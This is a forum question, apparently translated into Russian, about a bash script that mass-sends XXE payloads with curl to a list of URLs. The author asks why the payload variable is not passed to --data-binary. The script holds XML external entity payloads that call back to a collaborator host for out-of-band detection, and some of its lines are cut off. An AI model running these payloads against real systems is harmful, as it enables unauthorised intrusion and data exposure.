Я хочу повторить с --data-binary, потому что мне нужны разные полезные нагрузки, и я не могу использовать файл, потому что один из параметров влияет на файл и не хочет создавать файлы.
Что Я пытаюсь сделать это:
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "xxemassive <urlist> <urlcollaborator>"
else
for j in $(cat /root/Documents/testscripts/urls.txt); do
a=`echo $j|cut -d "/" -f 3`;
payloads=(
'<!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://'$a'.'$2'">'
'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://'$a'.'$2'/?xxe">]> <SOAP-ENV:Envelope> <SOAP-ENV:Body> <getStatus> <id>>
'<?xml version="1.0"?>\x0d\x0a<!DOCTYPE foo SYSTEM "http://'$a'.'$2'">' )
echo $j
for i in "${payloads[@]}"
do
echo $i
curl -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Content-Type: text/xml' --data-binary '@${i}' -m >
done
done
Я пытался:
--data-binary '@${i}' -> Payload is none
--data-binary '${i}' -> Payload is ${i}
--data-binary ${i} -> Payload is <!DOCTYPE, then <?xml (it has a weird behavior like it iterates over the string.
--data-binary $i -> Same weird behavior as with ${i}
Дело в том, когда я делаю echo $i
внутри массива, который выполняет итерацию массива полезных нагрузок, он выводит именно то, что я хочу, чтобы curl использовал в качестве --binary-data, но я не могу управлять им.
С уважением